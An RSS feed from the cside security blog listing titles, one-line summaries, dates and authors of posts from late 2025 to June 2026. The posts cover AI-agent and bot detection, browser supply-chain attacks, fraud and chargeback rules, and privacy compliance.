Research and blogs about Client Side Security.https://cside.com/enhello@cside.com60https://cside.com/android-chrome-192x192.pnghttps://cside.com/bloghttps://cside.com/blog/how-to-block-claudebothttps://cside.com/blog/how-to-block-claudebotClaudeBot crawls your site to train Anthropic's Claude models. Here is how to block it with robots.txt and IP ranges, and what the block still misses.Tue, 16 Jun 2026 00:00:00 GMTBlogAttacksMike Kutluhttps://cside.com/blog/how-to-prevent-fake-account-creationhttps://cside.com/blog/how-to-prevent-fake-account-creationEmail verification confirms a mailbox exists. It cannot see the browser. Here is why browser-layer detection catches fake account creation it misses.Mon, 15 Jun 2026 00:00:00 GMTBlogAttacksMike Kutluhttps://cside.com/blog/polyfill-io-supply-chain-attack-timelinehttps://cside.com/blog/polyfill-io-supply-chain-attack-timelineA complete, sourced timeline of the Polyfill.io supply chain attack, from the 2024 domain sale to the 2025 Funnull sanctions, and how to remove it today.Sun, 14 Jun 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/how-to-block-ai-card-testing-agentshttps://cside.com/blog/how-to-block-ai-card-testing-agentsAI card-testing agents probe payment flows using real browsers. Learn the browser signals that expose them before a transaction completes.Sat, 13 Jun 2026 00:00:00 GMTBlogAttacksMike Kutluhttps://cside.com/blog/how-to-choose-ai-agent-detection-solutionhttps://cside.com/blog/how-to-choose-ai-agent-detection-solutionA five-step buying guide for CISOs evaluating AI agent detection solutions: architecture, classification, vendor profiles, and POC methodology.Fri, 12 Jun 2026 00:00:00 GMTBlogAttacksMike Kutluhttps://cside.com/blog/best-bot-and-agent-trust-management-platforms-comparedhttps://cside.com/blog/best-bot-and-agent-trust-management-platforms-comparedForrester defines the category. cside, DataDome, HUMAN Security, Kasada, and Arkose Labs compared on detection layer, intent, and agentic coverage.Thu, 11 Jun 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/how-to-block-openai-operatorhttps://cside.com/blog/how-to-block-openai-operatorOpenAI Operator browses your site like a real user. Learn how to detect and block it using browser-layer signals and when you should not block it.Wed, 10 Jun 2026 00:00:00 GMTBlogAttacksMike Kutluhttps://cside.com/blog/dbsc-vs-device-fingerprintinghttps://cside.com/blog/dbsc-vs-device-fingerprintingChrome's DBSC stops stolen-cookie replay, but it is Chrome-only, post-login, and not a device-identity layer. Here is the fraud it leaves open.Tue, 09 Jun 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-to-block-perplexity-shopperhttps://cside.com/blog/how-to-block-perplexity-shopperPerplexity Shopper browses and buys from retail websites on behalf of Pro users. Learn how to detect its browser-layer signals and govern the traffic.Tue, 09 Jun 2026 00:00:00 GMTBlogAttacksMike Kutluhttps://cside.com/blog/ai-api-shared-cache-data-leakshttps://cside.com/blog/ai-api-shared-cache-data-leaksA Claude API incident appears to have returned other users' responses. Why shared caches cause cross-tenant leaks, and how to build around the risk.Fri, 05 Jun 2026 00:00:00 GMTBlogNewsSimon Wijckmanshttps://cside.com/blog/mfa-token-theft-device-code-phishing-trust-modelhttps://cside.com/blog/mfa-token-theft-device-code-phishing-trust-modelKali365 abuses the OAuth 2.0 device authorization grant to steal Microsoft 365 tokens after MFA. A technical breakdown of the flow, FOCI, and detection.Fri, 05 Jun 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/ai-exploit-cycle-compression-browser-zero-dayshttps://cside.com/blog/ai-exploit-cycle-compression-browser-zero-daysGoogle flagged a zero-day it believes was AI-developed. The real AI security shift isn't smarter phishing, it's how fast exploits reach the browser.Wed, 03 Jun 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/browser-session-security-control-plane-dbschttps://cside.com/blog/browser-session-security-control-plane-dbscGoogle's DBSC proposal validates a clear security shift: browser sessions need device-aware validation after login, not only MFA.Sat, 30 May 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/top-account-takeover-prevention-solutions-selection-guidehttps://cside.com/blog/top-account-takeover-prevention-solutions-selection-guideAnti-fraud suites, fingerprinting tools, and MFA compared by what they cover in the ATO attack chain. Find the right stack for your risk profile.Wed, 27 May 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/how-to-stop-ai-agents-from-creating-fake-accounts-guidehttps://cside.com/blog/how-to-stop-ai-agents-from-creating-fake-accounts-guideAI agents create fake accounts using real browsers, residential IPs, and generated identities. Here's the detection signal stack to stop them.Wed, 20 May 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/guide-to-blocking-ai-agent-content-scraping-botshttps://cside.com/blog/guide-to-blocking-ai-agent-content-scraping-botsAI content scraping bots use real browsers, residential IPs, and LLM-powered extraction to harvest your pricing and content. Here's how to stop them.Tue, 19 May 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/mini-shai-hulud-npm-worm-snowball-effecthttps://cside.com/blog/mini-shai-hulud-npm-worm-snowball-effectMini Shai-Hulud turned npm packages into a credential-theft loop. Here is how the AntV wave spread and what teams should monitor next.Tue, 19 May 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/why-captchas-are-deadhttps://cside.com/blog/why-captchas-are-deadCAPTCHAs are no longer a reliable primary bot defense. Learn why visible challenges fail and how resource-wasting defenses raise attacker cost.Tue, 19 May 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/funnull-sanctioned-polyfill-infrastructure-launderinghttps://cside.com/blog/funnull-sanctioned-polyfill-infrastructure-launderingOFAC's Funnull sanctions show why the Polyfill attack was part of a larger infrastructure laundering and browser supply-chain risk.Mon, 18 May 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/on-device-inference-security-stackhttps://cside.com/blog/on-device-inference-security-stackOn-device AI can protect sensitive data and power endpoint defense, but it also creates new prompt injection, telemetry, and browser attack paths.Mon, 18 May 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/best-tools-for-ai-agent-detection-to-prevent-website-fraudhttps://cside.com/blog/best-tools-for-ai-agent-detection-to-prevent-website-fraudCompare cside, HUMAN Security, DataDome, and Cloudflare for AI agent detection. See how each tool handles fraud prevention, pricing, and implementation.Fri, 15 May 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/how-to-block-ai-credit-card-testing-agentshttps://cside.com/blog/how-to-block-ai-credit-card-testing-agentsAI credit card testing agents use real browsers to test stolen credentials at scale. Learn how to detect and block them before a transaction completes.Fri, 15 May 2026 00:00:00 GMTBlogAttacksMike Kutluhttps://cside.com/blog/stealth-browsers-and-anti-detect-browsers-explainedhttps://cside.com/blog/stealth-browsers-and-anti-detect-browsers-explainedStealth browsers bypass bot detection. Anti-detect browsers spoof fingerprints. Learn the signals that reveal both, even when they look human.Thu, 14 May 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/cside-sourceforge-spring-2026-top-performerhttps://cside.com/blog/cside-sourceforge-spring-2026-top-performercside was named a SourceForge Spring 2026 Top Performer, reflecting user trust in client-side security, PCI evidence, and support.Wed, 13 May 2026 00:00:00 GMTBlogsecuritySimon Wijckmanshttps://cside.com/blog/guide-to-detect-ai-agent-traffic-on-your-websitehttps://cside.com/blog/guide-to-detect-ai-agent-traffic-on-your-websiteThis guide covers AI agent detection through identity, network, browser, and behavioral signals. See free methods like server log analysis and specialized tools.Wed, 13 May 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/cside-w3c-anti-fraud-community-group-browser-securityhttps://cside.com/blog/cside-w3c-anti-fraud-community-group-browser-securitySimon Wijckmans now co-chairs W3C AFCG as cside helps shape privacy-preserving browser signals for AI-era fraud.Tue, 12 May 2026 00:00:00 GMTBlogsecuritySimon Wijckmanshttps://cside.com/blog/mastercard-fpt-how-it-reduces-chargebackshttps://cside.com/blog/mastercard-fpt-how-it-reduces-chargebacksMastercard First-Party Trust deflects friendly fraud disputes before they become formal chargebacks. Here is how the evidence framework works.Mon, 11 May 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/mastercard-fpt-device-fingerprinting-to-improve-efm-and-ecphttps://cside.com/blog/mastercard-fpt-device-fingerprinting-to-improve-efm-and-ecpMastercard's First Party Trust program uses device fingerprinting to deflect friendly fraud disputes before they inflate your EFM and ECP ratios.Fri, 08 May 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/solution-comparison-pci-dss-6-4-3-and-11-6-1https://cside.com/blog/solution-comparison-pci-dss-6-4-3-and-11-6-1Compare PCI DSS 6.4.3 and 11.6.1 compliance tools. Features, pricing, and reviews for cside, Feroot, Cloudflare, and Reflectiz side by side.Thu, 07 May 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/friendly-fraud-travel-hospitality-playbookhttps://cside.com/blog/friendly-fraud-travel-hospitality-playbookTravel and hospitality merchants face the highest-value friendly fraud disputes. How CE 3.0 and browser-layer evidence rebalance the win rate.Wed, 06 May 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/mastercard-scam-merchant-monitoring-2026https://cside.com/blog/mastercard-scam-merchant-monitoring-2026Mastercard Scam Merchant Monitoring takes full effect on 24 July 2026. Here are the SMMP triggers, how it differs from ECM and EFM, and how merchants can prepare.Tue, 05 May 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/utah-sb73-vpn-age-verification-compliancehttps://cside.com/blog/utah-sb73-vpn-age-verification-complianceUtah SB 73 holds operators liable when users bypass age gates with VPNs. An IP blocklist cannot keep pace. Behavioural detection is what works.Tue, 05 May 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/ce-3-auto-qualification-visa-securehttps://cside.com/blog/ce-3-auto-qualification-visa-secureVisa auto-qualifies transactions for Compelling Evidence 3.0 via Visa Secure and Visa Data Only. What changed, who benefits, and the evidence gap.Fri, 01 May 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/friendly-fraud-gaming-igaming-playbookhttps://cside.com/blog/friendly-fraud-gaming-igaming-playbookiGaming merchants run the highest chargeback ratios of any vertical. VAMP 2026 tightened the line. How CE 3.0 plus browser-layer evidence rebalances the book.Wed, 29 Apr 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/vamp-2026-merchant-playbookhttps://cside.com/blog/vamp-2026-merchant-playbookVisa's VAMP ratio dropped to 1.5% on 1 April 2026 with $8-per-transaction fines. A merchant playbook for staying under the new thresholds using CE 3.0.Wed, 29 Apr 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/compelling-evidence-3-requirements-data-pointshttps://cside.com/blog/compelling-evidence-3-requirements-data-pointsThe four data elements Visa requires for CE 3.0, and what separates winning representments from losing ones.Tue, 28 Apr 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/how-openclaw-agents-bypass-bot-detectionhttps://cside.com/blog/how-openclaw-agents-bypass-bot-detectionOpenClaw agents paired with stealth browser tooling can bypass legacy bot detection. Learn how agentic fraud works and how browser fingerprinting helps stop it.Tue, 28 Apr 2026 00:00:00 GMTBlogAttacksSimon Wijckmanshttps://cside.com/blog/ctem-browser-enforcementhttps://cside.com/blog/ctem-browser-enforcementA live analysis of one Skeepers widget on a major international bank surfaced a 360-day cookie on auth subdomains, a CSP gap, and a server-controlled sub-script. Here's what CTEM looks like applied to the browser layer.Mon, 27 Apr 2026 00:00:00 GMTBlogsecurityMike Kutluhttps://cside.com/blog/friendly-fraud-saas-subscription-playbookhttps://cside.com/blog/friendly-fraud-saas-subscription-playbookSaaS and subscription businesses have a specific friendly fraud profile: descriptor drift, recurring billing, and CE 3.0-eligible customers. Here is how to fight it.Mon, 27 Apr 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/comparing-account-sharing-prevention-tools-for-businesseshttps://cside.com/blog/comparing-account-sharing-prevention-tools-for-businessesSaaS companies lose revenue to account sharing every day. See a comparison of features, pricing, and reviews of popular tools used by fraud teams.Thu, 23 Apr 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/prevent-account-sharing-full-guide-for-businesseshttps://cside.com/blog/prevent-account-sharing-full-guide-for-businessesAccount sharing costs organizations billions in revenue loss. This guide covers prevention methods like device and session limits, as well as strategic tips.Wed, 22 Apr 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/how-to-remove-tc40-via-compelling-evidence-3https://cside.com/blog/how-to-remove-tc40-via-compelling-evidence-3TC40 fraud reports feed your VAMP ratio without a chargeback. A successful CE 3.0 representment is the only way to remove one. Here's how it works.Tue, 21 Apr 2026 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/proven-tips-to-stop-account-takeover-fraud-travel-websiteshttps://cside.com/blog/proven-tips-to-stop-account-takeover-fraud-travel-websitesMFA is bypassed by advanced phishing kits. See the best practices, fingerprint signals, and tools that Travel fraud teams actually use to stop ATO.Sun, 19 Apr 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/quick-guide-to-prevent-account-takeover-fraud-crypto-websiteshttps://cside.com/blog/quick-guide-to-prevent-account-takeover-fraud-crypto-websitesCrypto accounts are the most valuable ATO target of any industry. See the best practices, fingerprint signals, and tools Crypto teams use to stop ATO.Fri, 17 Apr 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/advanced-location-data-account-takeover-ai-agent-token-reusehttps://cside.com/blog/advanced-location-data-account-takeover-ai-agent-token-reuseHow advanced location data helps security teams detect impossible travel, stolen-session reuse, and unsafe AI-agent activity before account takeover turns into fraud or data loss.Wed, 15 Apr 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-compromised-third-party-scripts-can-prompt-inject-ai-agentshttps://cside.com/blog/how-compromised-third-party-scripts-can-prompt-inject-ai-agentsThird-party scripts already adapt website behavior by browser characteristics. That same flexibility can be abused to detect AI agents and inject misleading instructions or altered content.Mon, 13 Apr 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/best-methods-to-prevent-account-takeover-fraud-fintechhttps://cside.com/blog/best-methods-to-prevent-account-takeover-fraud-fintechFinTech accounts are targeted daily by attackers. See the best practices, fingerprint signals, and prevention tools FinTech teams use to stop ATO.Fri, 10 Apr 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/ecommerce-best-practices-to-prevent-account-takeover-fraudhttps://cside.com/blog/ecommerce-best-practices-to-prevent-account-takeover-fraudeCommerce accounts are targeted daily by attackers. See the best practices, fingerprint signals, and prevention tools eCom companies use to stop ATO.Wed, 08 Apr 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/how-to-stop-account-takeover-fraud-guide-for-businesseshttps://cside.com/blog/how-to-stop-account-takeover-fraud-guide-for-businessesMFA helps, but it does not stop account takeover on its own. This guide covers how businesses can prevent ATO early with fingerprinting signals.Tue, 07 Apr 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/meet-cside-at-rsac-2026https://cside.com/blog/meet-cside-at-rsac-2026Meet the cside time at RSAC 2026 in San Francisco. Stop by our booth S-0238 on March 24-26 or grab time with us off the floor.Mon, 23 Mar 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/darksword-pure-javascript-exploit-chain-weaponizes-legitimate-websiteshttps://cside.com/blog/darksword-pure-javascript-exploit-chain-weaponizes-legitimate-websitesDarkSword is a full-chain iOS exploit delivered via watering-hole compromises of legitimate websites. It runs entirely in JavaScript, evades binary mitigations, and drops JavaScript-based backdoors that exfiltrate sensitive data.Fri, 20 Mar 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/appsflyer-web-sdk-supply-chain-compromise-polymorphic-crypto-stealerhttps://cside.com/blog/appsflyer-web-sdk-supply-chain-compromise-polymorphic-crypto-stealerA registrar-level DNS hijack of appsflyer.com served a polymorphic crypto-stealing payload through the AppsFlyer Web SDK, affecting thousands of sites and some Node.js server environments. This post summarizes telemetry, forensic indicators, IOCs, detection guidance, and remediation steps.Wed, 18 Mar 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/openclaw-scanner-for-third-party-scriptshttps://cside.com/blog/openclaw-scanner-for-third-party-scriptsA free, open-source scanner that inventories third-party scripts, detects fingerprinting, audits security headers and cookies, and flags PCI DSS exposure on payment pages. Run a quick 30-second audit to reveal what code executes in your users' browsers.Wed, 18 Mar 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/inside-coruna-web-script-ios-exploithttps://cside.com/blog/inside-coruna-web-script-ios-exploitYour website could have been used to distribute this iOS exploit kit and you wouldn't have known. A full technical breakdown of Coruna: five exploit chains, 23 CVEs, and the delivery infrastructure that makes every website a potential attack vector.Sun, 08 Mar 2026 00:00:00 GMTAttacksSimon Wijckmanshttps://cside.com/blog/microsoft-clairty-isnt-microsoft-clarity-deobfuscating-a-typosquatted-ad-fraud-scripthttps://cside.com/blog/microsoft-clairty-isnt-microsoft-clarity-deobfuscating-a-typosquatted-ad-fraud-scriptcside observed a new malicious client-side injection originating from a malicious browser extension impersonating Microsoft Clarity and overwriting referral tokens to redirect referral revenue to a malicious actor.Tue, 03 Mar 2026 00:00:00 GMTAttacksBlogSimon Wijckmanshttps://cside.com/blog/how-to-block-ai-agents-on-your-website-guidehttps://cside.com/blog/how-to-block-ai-agents-on-your-website-guideRobots.txt won’t stop AI agents from abusing your website. Learn how to block headless browser agents and fraudulent agents with different controls.Tue, 24 Feb 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/how-to-monitor-cross-border-data-transfer-on-your-websitehttps://cside.com/blog/how-to-monitor-cross-border-data-transfer-on-your-websiteYour website is likely sending personal data to other countries. Learn how to track cross-border data transfers for GDPR and CCPA requirements.Thu, 12 Feb 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/how-to-prevent-website-data-breaches-gdpr-ccpahttps://cside.com/blog/how-to-prevent-website-data-breaches-gdpr-ccpa1/3rd of breaches involve third parties. Learn how to prevent GDPR and CCPA violations by securing third-party scripts, APIs, and data flows.Fri, 06 Feb 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/comparing-tools-for-gdpr-compliance-2026-selection-guidehttps://cside.com/blog/comparing-tools-for-gdpr-compliance-2026-selection-guideGDPR compliance does not live in one tool. Fragmentation confuses teams, so we wrote this guide to help you select the right GDPR tools for you.Tue, 03 Feb 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/what-is-e-skimming-guide-and-prevention-tipshttps://cside.com/blog/what-is-e-skimming-guide-and-prevention-tipsE-skimming steals information from your web visitors before traditional security tools protect them. Learn how web skimming works and how to prevent it.Thu, 29 Jan 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/the-fastest-way-to-comply-with-pci-dss-6-4-3https://cside.com/blog/the-fastest-way-to-comply-with-pci-dss-6-4-3Most teams overcomplicate PCI DSS 6.4.3 & 11.6.1. See the fastest paths to compliance and why QSAs recommend tools over DIY.Mon, 26 Jan 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/vcdpa-guide-to-requirements-website-compliancehttps://cside.com/blog/vcdpa-guide-to-requirements-website-complianceGet a clear breakdown of Virginia Consumer Data Protection Act rules, enforcement timelines, and how to manage third-party scripts correctly.Thu, 22 Jan 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/best-practices-for-securing-third-party-scriptshttps://cside.com/blog/best-practices-for-securing-third-party-scriptsThird-party scripts can expose sensitive data in your users’ browsers. Learn best practices to secure client-side code and reduce breach risk.Wed, 21 Jan 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/top-client-side-security-tools-full-guidehttps://cside.com/blog/top-client-side-security-tools-full-guideThis selection guide dives deep into pricing, protection coverage, and more to help you choose a client-side protection tool for your website.Tue, 20 Jan 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/cpa-colorado-privacy-act-guide-to-requirements-website-compliancehttps://cside.com/blog/cpa-colorado-privacy-act-guide-to-requirements-website-complianceGet a clear breakdown of Colorado Privacy Act rules, enforcement timelines, and how to manage third-party scripts correctly.Fri, 16 Jan 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/best-client-side-security-tools-for-web-applicationshttps://cside.com/blog/best-client-side-security-tools-for-web-applicationsWeb Applications leverage client-side scripts. A multi layer monitoring approach is the best way to detect suspicious activity on those scripts.Thu, 15 Jan 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-to-detect-vpn-traffic-on-your-websitehttps://cside.com/blog/how-to-detect-vpn-traffic-on-your-websiteU.S. and U.K. age-verification laws require companies to prevent minors from accessing restricted content, including circumvention controls against VPNs.Wed, 14 Jan 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/best-ai-tools-for-website-privacy-compliancehttps://cside.com/blog/best-ai-tools-for-website-privacy-complianceWebsite privacy compliance is getting harder. Fortunately these AI-powered tools automate the heavy lifting across GDPR, CCPA, and HIPAA.Tue, 13 Jan 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/2026-web-security-predictionshttps://cside.com/blog/2026-web-security-predictions2026 will look different from past years. We'll be watching for: deepfake powered phishing, LLM hallucinated security recommendations, and AI agent attackers.Thu, 08 Jan 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/does-gdpr-apply-to-my-u-s-company-3-step-self-assessmenthttps://cside.com/blog/does-gdpr-apply-to-my-u-s-company-3-step-self-assessmentGDPR might apply to your website even if you’re U.S. based. Use this 3 step checklist to see if you're at risk and the potential for financial penalties.Thu, 08 Jan 2026 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/the-differences-in-client-side-security-solutionshttps://cside.com/blog/the-differences-in-client-side-security-solutionsWhen a user visits a site, a web server directs the browser to fetch contents. Some from servers the website owner manages, sometimes from 3rd parties. Client-side security solutions aim to give control back to the website owner, because they are responsible for the tools on their siteTue, 06 Jan 2026 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/common-gdpr-compliance-failures-and-preventionhttps://cside.com/blog/common-gdpr-compliance-failures-and-preventionCommon GDPR website compliance failures, why your team doesn't notice them on your website, and how to prevent unlawful data collection.Tue, 30 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/best-client-side-security-for-ecommercehttps://cside.com/blog/best-client-side-security-for-ecommerceeCommerce sites are heavy consumers of client-side tracking tags which creates a significant risk for malicious exfiltration of sensitive data but also legitimate tags collecting more data than is necessary to sell to data brokers. The cside solution solves these concerns with ease.Fri, 26 Dec 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/gdpr-penalties-explainedhttps://cside.com/blog/gdpr-penalties-explainedUnderstand GDPR penalties based on the different violation categories. Look at what went wrong to avoid costly fines for your organization.Fri, 26 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/best-client-side-security-for-financial-institutionshttps://cside.com/blog/best-client-side-security-for-financial-institutionsNation-state targets like Financial Institutions need to partner with vendors that understand limitations and work to get as close to full coverage as is possible. Read why many choose cside's multi-layer model.Wed, 24 Dec 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-to-comply-with-gdpr-website-requirements-2026https://cside.com/blog/how-to-comply-with-gdpr-website-requirements-2026Regulators don't care about cookie banners. This guide covers what you need to do in 2026 to minimize, document, and secure personal data on your website under GDPR.Wed, 24 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/njdpa-guide-to-requirements-website-compliancehttps://cside.com/blog/njdpa-guide-to-requirements-website-complianceGet a clear breakdown of the New Jersey Data Privacy Act rules, enforcement timelines, and how to manage third-party scripts for compliance.Tue, 23 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/what-is-css-security-preventing-phishing-clickjacking-from-css-attackshttps://cside.com/blog/what-is-css-security-preventing-phishing-clickjacking-from-css-attacksCSS controls what users see. Attackers exploit that. This article explores CSS-based client-side vulnerabilities and how to protect against them.Tue, 23 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/which-platform-offers-the-most-comprehensive-client-side-script-monitoringhttps://cside.com/blog/which-platform-offers-the-most-comprehensive-client-side-script-monitoringTechnical evaluation of modern client-side security approaches and why layered detections are necessary for comprehensive coverage.Sat, 20 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/tdpsa-guide-to-requirements-website-compliancehttps://cside.com/blog/tdpsa-guide-to-requirements-website-complianceGet a clear breakdown of Texas Data Privacy and Security Act rules, enforcement timelines, and how to manage third-party scripts correctly.Thu, 18 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/the-british-airways-attack-of-2018-full-breakdownhttps://cside.com/blog/the-british-airways-attack-of-2018-full-breakdownThe 2018 British Airways attack affected 429,612 individuals. See why cside bought the attacker domain to turn it into a lesson on modern web security.Mon, 15 Dec 2025 00:00:00 GMTAttacksBlogSimon Wijckmanshttps://cside.com/blog/how-cside-pioneers-ai-in-client-side-securityhttps://cside.com/blog/how-cside-pioneers-ai-in-client-side-securityIn 2024, cside launched the first client-side security solution with integrated AI for JavaScript security analysis and compliance automation.Sun, 14 Dec 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/incorrect-claims-made-by-reflectiz-about-csidehttps://cside.com/blog/incorrect-claims-made-by-reflectiz-about-csideLearn why Reflectiz’s scanner-based claims about cside are incorrect and how cside’s real-time client-side security provides deeper protection, full payload forensics, and PCI DSS 4.0.1 compliance.Mon, 08 Dec 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/magecart-attacks-guide-and-prevention-stepshttps://cside.com/blog/magecart-attacks-guide-and-prevention-stepsMagecart attacks steal card data in the browser before traditional tools detect them. Learn how Magecart attacks work and entry points used by attackers.Tue, 02 Dec 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/script-integrity-management-for-e-commerce-brands-sri-dynamic-scriptshttps://cside.com/blog/script-integrity-management-for-e-commerce-brands-sri-dynamic-scriptsDeep dive into script integrity vs Subresource Integrity vs behavioral monitoring for PCI DSS 6.4.3, 11.6.1, ISO 27001, and HIPAA compliance.Wed, 26 Nov 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/ctdpa-guide-to-requirements-third-party-script-compliancehttps://cside.com/blog/ctdpa-guide-to-requirements-third-party-script-complianceGet a clear breakdown of Connecticut Data Privacy Act rules, enforcement timelines, and how to manage third-party scripts correctly.Tue, 25 Nov 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/expired-domain-risks-a-real-example-from-oracles-websitehttps://cside.com/blog/expired-domain-risks-a-real-example-from-oracles-websiteAn expired domain reference is all an attacker needs to execute phishing under a trusted origin. This blog looks at an example from Oracle’s code.Tue, 25 Nov 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/the-cloudflare-incident-how-cside-minimized-customer-impacthttps://cside.com/blog/the-cloudflare-incident-how-cside-minimized-customer-impactOn November 18th, Cloudflare had an incident that impacted thousands of customers. This blog explores how we limited impact to our own customers.Fri, 21 Nov 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/webview-mobile-apps-client-side-attackshttps://cside.com/blog/webview-mobile-apps-client-side-attacksBanking "apps" that run on browser environments expose credentials without teams realizing it. This article explores examples of WebView mobile app attacks.Fri, 21 Nov 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/shady-plugins-in-woocommerce-security-risks-protection-tipshttps://cside.com/blog/shady-plugins-in-woocommerce-security-risks-protection-tipsYour checkout is only as safe as your plugins. Discover how WooCommerce handles plugin HTML, why that matters, and the steps to stop malicious code.Wed, 19 Nov 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/fail-open-architecture-csidehttps://cside.com/blog/fail-open-architecture-csideCustomers diligently ask: “what happens if cside goes down?” or “will it add latency?”. This is how our fail-open architecture is prepared for a bad day.Fri, 14 Nov 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/how-merchants-can-prevent-chargebacks-tools-you-need-in-2026https://cside.com/blog/how-merchants-can-prevent-chargebacks-tools-you-need-in-2026Still have a chargeback stack built for the pre-VAMP era? Here's how leading fraud teams use early dispute blocking to stay ahead of tighter rules in 2026.Sat, 08 Nov 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/bypass-javascript-agents-csp-and-crawlers-security-testinghttps://cside.com/blog/bypass-javascript-agents-csp-and-crawlers-security-testingMost client-side compliance tools can be easily bypassed. We show you how to test weaknesses in CSP, crawler, and JS agents + safer alternatives.Tue, 21 Oct 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/device-fingerprinting-for-compelling-evidence-chargebackshttps://cside.com/blog/device-fingerprinting-for-compelling-evidence-chargebacksThis is how merchants use device fingerprinting to win more Compelling Evidence cases (VISA), blocking first-party fraud and lowering VAMP ratios.Tue, 21 Oct 2025 00:00:00 GMTBlogJuan Combarizahttps://cside.com/blog/why-chargeback-indemnification-no-longer-works-with-the-new-vamp-ratiohttps://cside.com/blog/why-chargeback-indemnification-no-longer-works-with-the-new-vamp-ratioChargeback indemnification won't protect you under new VAMP rules. You still face the risk of penalties and account termination. Here's how to adapt:Thu, 09 Oct 2025 00:00:00 GMTBlogMike Kutluhttps://cside.com/blog/what-is-client-side-securityhttps://cside.com/blog/what-is-client-side-securityBrowsers are powerful feature rich environments. More applications also are effectively browsers behind the scenes. This is great for building an application, but bad actors also use the client as an attack surface.Thu, 02 Oct 2025 00:00:00 GMTBlogSimon Wijckmanshttps://cside.com/blog/mockito-docs-hijackedhttps://cside.com/blog/mockito-docs-hijackedSome attacks are stupidly low tech. Mockito, a popular open source package contained a malicious link in their Github Docs.Tue, 30 Sep 2025 00:00:00 GMTAttacksBlogSimon 